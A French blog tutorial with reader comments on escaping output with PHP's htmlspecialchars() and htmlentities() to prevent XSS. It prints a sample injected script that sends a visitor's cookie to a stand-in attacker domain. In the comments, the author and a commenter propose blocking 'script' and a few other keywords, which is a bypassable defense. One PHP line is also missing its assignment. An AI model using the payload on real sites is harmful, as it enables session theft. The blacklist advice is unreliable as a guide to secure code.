htmlspecialchars() ou htmlentities() pour se protéger contre certaines attaques XSS

Dans le monde du Web, il est impératif d'être au fait des dangers qui guettent nos données et nos installations.

Les attaques XSS (Cross-Site Scripting) sont un type d'attaque qui consiste à injecter du code malicieux, souvent sous forme de Javascript (balise <script>), afin de générer des comportements non prévus sur le site Web.

Cet article vous présente une technique qui vous aidera à protéger votre site : l'encodage des caractères potentiellement dangereux.

▼Publicité

Lorsqu'une page Web affiche un formulaire, un utilisateur malveillant pourrait entrer des balises <script> dans une boîte de saisie de texte.

Ex :

Exemple attaque XSS

Si la page affiche à l'écran le texte saisi (ce qui arrivera tôt ou tard), le navigateur recevra les balises <script> et exécutera le code Javascript qu'elles contiennent. 

On appelle ce type d'attaque « Attaque XSS » ou « Cross-Site Scripting ».

Dans le cas le plus simple, les balises <script> ne contiendront qu'une instruction alert(), ce qui affichera un popup. Ce n'est pas dangereux, surtout si le popup ne s'affiche que sur le poste de l'assaillant. 

Le problème s'aggrave lorsque les informations sont enregistrées dans la base de données avant d'être affichées sur différentes pages Web. Par exemple, si les balises <script> sont entrées dans le titre d'un commentaire, elles seront affichées sur l'écran de chaque internaute ayant accès à la liste des commentaires. Un simple alert() deviendra carrément dérangeant.

Le problème devient critique lorsque les balises <script> contiennent du code plus compromettant, comme par exemple une instruction Javascript qui redirige vers un site qui a une apparence tout à fait conforme au site d'origine qui se chargera de conserver précieusement les informations d'authentification, ou encore une redirection Javascript qui envoie dans l'URL le cookie de l'usager.

Par exemple, si l'usager malveillant entre dans le formulaire une information du genre :

Information malicieuse entrée dans un formulaire Web

<script>document.location='http://domaineduhacker.com/index.php?cookie=' + document.cookie</script>

La page « http://domaineduhacker.com/index.php » pourra s'occuper de conserver précieusement le cookie puis de rediriger l'internaute vers son site d'origine. Et dans le cas où le cookie contient de l'information d'authentification... ouch !

Le site Web pourra être protégé à l'aide de la fonction htmlspecialchars(). Cette fonction permet entre autres de convertir les balises < et > en &lt; et &gt;. Ainsi, si un utilisateur entre <script> dans la boîte de saisie, ceci sera converti en &lt;script&gt;. La tentative d'attaque deviendra tout à fait inoffensive.

Caractères traités par htmlspecialchars()

Les caractères remplacés par htmlspecialchars() sont les suivants :

  • & devient &amp;
  • " devient &quot;
  • ' devient &#039; (sous certaines conditions)
  • < devient &lt;
  • > devient &gt;

Utilisation de htmlspecialchars() avant l'enregistrement

Pour éviter que des informations malicieuses soient enregistrées dans la base de données, on appliquera htmlspecialchars() sur les données avant qu'elles soient enregistrées.

Ex :

PHP

$requete = "INSERT INTO...";

$stmt = $mysqli->prepare($requete);

if ($stmt) {

    $titrehtmlspecialchars($_POST['titre']);

    ...

    if ($stmt->bind_param("s...", $titre, ...)) {

        ...

    }

    ...

}

Notez que les variables numériques, pour lesquelles on utilise « i » dans le bind_param(), n'ont pas besoin d'être transformées à l'aide de htmlspecialchars() puisque si elles contiennent des caractères malicieux, ils seront perdus lors de la conversion en entier qui a lieu avant de lancer la requête.

Utilisation de htmlspecialchars() avant l'affichage

Dans le monde du Web, le programme et la base de données sont deux entités distinctes. Il est donc possible que votre programme PHP lise des données dans une BD qui a été remplie par un autre programme. C'est pourquoi il est préférable de toujours protéger les données tirées de la BD avant de les afficher à l'écran.

On appliquera donc également htmlspecialchars() aux données avant de les afficher.

Ex :

PHP

echo htmlspecialchars($enreg['comm_titre']);

Protéger un vecteur complet à l'aide de htmlspecialchars()

Souvent, les données à protéger proviendront d'un vecteur :

  • Les données à enregistrer seront contenues dans le vecteur $_POST
  • Les données tirées de la base de données seront contenues dans le vecteur utilisé dans le fetch_row(), souvent nommé $enreg.

L'extrait de code suivant permet d'appliquer htmlspecialchars() à chacun des éléments du vecteur. Il s'agit d'une simple boucle qui, pour chaque élément, applique la fonction htmlspecialchars() sur sa valeur.

Ex :

PHP

foreach($enreg as $element => $valeur) {

    $enreg[$element] = htmlspecialchars($valeur);

}

htmlspecialchars() ou htmlentities() ?

La fonction htmlentities() est très semblable à htmlspecialchars(). Cependant, elle se charge d'encoder tous les caractères qui ont un équivalent en HTML. Ainsi, le caractère é deviendra &eacute;, ce qui n'était pas le cas avec htmlspecialchars().

Si vous utilisez htmlentities() pour encoder les données avant de les enregistrer dans la base de données puis que vous appliquez à nouveau htmlentities() avant d'afficher les données lues dans la BD, vous verrez à l'écran les accents encodés, ce qui n'est pas souhaitables. C'est pourquoi nous préférerons utiliser htmlspecialchars(), qui laisse les caractères accentués intacts.

Pour éviter le double encodage

Voici une démonstration d'un problème d'affichage dû au double encodage. Nous avons utilisé htmlspecialchars() plutôt que htmlentities() alors les accents restent intacts. Par contre, les caractères comme &, < et > peuvent poser problème.

Voici un exemple concret :

Soit la chaîne de caractères suivante, que l'on désire enregistrer dans la BD :

    A < B

Lorsqu'on encode avant l'enregistrement, la chaine deviendra :

   A &lt; B

Avant d'afficher les données, on prendra également soin d'encoder les données, au cas où un autre programme n'aurait pas pris ses précautions avant l'enregistrement. On aura donc :

   A &amp;lt; B

Le problème provient de l'esperluette qui est encodée alors qu'elle provenait du premier encodage. Le navigateur saura interpréter les codes qu'il connait (ici : &amp;) mais pas la suite &amp;lt;. Il affichera donc :

   A &lt; B

Si vous choisissez de conserver ce genre d'affichage, cela a l'avantage de lancer un message clair aux utilisateurs malveillants : s'ils tentent de lancer un script en enregistrant une balise <script>, cela ne fonctionnera pas.

Par contre, si vous souhaitez que les caractères s'affichent correctement, il est possible de décoder les informations lues dans la BD puis de les réencoder avant de les afficher.

Ex :

PHP

foreach($enreg as $element => $valeur) {

    // &amp; redeviendra & et &lt; redeviendra <. 

    // Aucun danger ici puisqu'il n'y a pas d'affichage sous cette forme.

    $decode = html_entity_decode($valeur);

    // Ici, < sera encodé en &lt; donc aucun danger d'attaque.

    // Lorsqu'on affichera cette chaîne, le navigateur saura afficher le bon caractère.

    $enreg[$element] = htmlspecialchars($decode);

}

Il est à noter que certains navigateurs utilisent un filtre anti-XSS afin de mieux protéger les internautes contre l'entrée de données <script> par l'usager. De tels filtres ne sont cependant pas efficaces à 100% et, qui plus est, ils ne sont pas disponibles sur tous les navigateurs. Il demeure donc impératif de protéger notre code pour prévenir de telles attaques.

Notez également que les utilisateurs malveillants ont développé des stratagèmes pour contourner les protections mises en place par htmlspecialchars() ou htmlentities() dans certains cas très précis. Le développeur doit donc toujours demeurer vigilent et à l'affût des meilleures techniques de protection. L'utilisation de htmlspecialchars() est le strict minimum à mettre en place. 

Pour plus d'information

« htmlspecialchars ». PHP. http://php.net/manual/fr/function.htmlspecialchars.php

« htmlentities ». PHP. http://php.net/manual/fr/function.htmlentities.php

« Tutoriel PHP - Fonction htmlentities ». PHP sources. http://www.phpsources.org/tutoriel-htmlentities.htm

« Quelques exemples basiques d’attaque sur une application web ». BlogoErgoSum. http://www.blogoergosum.com/16638-quelques-exemples-basiques-dattaque-sur-une-application-web

« Sécurité ». PHP. http://www.php.net/manual/fr/security.php

« Bypassing Chrome’s Anti-XSS filter ». The Good, The Bad and the Insecure. http://blog.securitee.org/?p=37

« Cross Site Scripting – XSS – The Underestimated Exploit ». Acunetix. https://www.acunetix.com/websitesecurity/xss/

« Cross-site Scripting Web Application Vulnerability ». netsparker. https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-checks-index/crosssite-scripting-xss/

Merci de partager ! Share on FacebookTweet about this on TwitterShare on Google+Share on LinkedInPin on PinterestShare on StumbleUponEmail this to someone
Catégories

5 commentaires

  1. Clément

    Merci pour cet article !

    Savez vous comment je peux a la fois protéger mon site conter les failles xss et en même temps autoriser certaines balises html ? Comme etc ?

    • Christiane Lagacé

      L’utilisation de htmlspecialchars() empêcherea que les balises HTML soient interprétées. Il n’est donc pas possible d’entrer un lien (balise a href) qui apparaîtra comme tel. Si vous avez besoin que des balises HTML soient interprétées, vous pourriez simplement empêcher l’entrée de balises script, qui sont les principales sources d’attaques XSS. Un str_replace(« -script-« , « <script> », $valeur); fera l’affaire (remplacer les traits d’union par les caractères de début et de fin de balises. Mon éditeur ne permet pas qu’on les utilise!!!).

      Il est également possible d’utiliser l’approche inverse, soit d’encoder toutes les balises sauf certaines qui sont permises. Dans un tel cas, vous pourriez commencer par remplacer les balises a href, strong et autres balises que vous désirez permettre par une chaîne donnée afin que htmlspecialchars() n’ait pas d’emprise sur elles(ex : ***a href***, ***strong***, etc). Vous utilisez ensuite htmlspecialchars() normalement puis remettez les balises permises dans leur état original. L’utilisation de preg_replace pourrait vous être utile, notamment pour les liens qui pourraient apparaître sous les formes a href= »… », a target= »_blank » href= »…. », etc.

      • Clément

        Merci beaucoup pour votre réponse !

        J’ai finalement opté pour la première solution, c’est a dire en bloquant les termes « script » mais aussi « iframe », « javascript », « string » et « fromCharCode ». La liste est très certainement incomplète.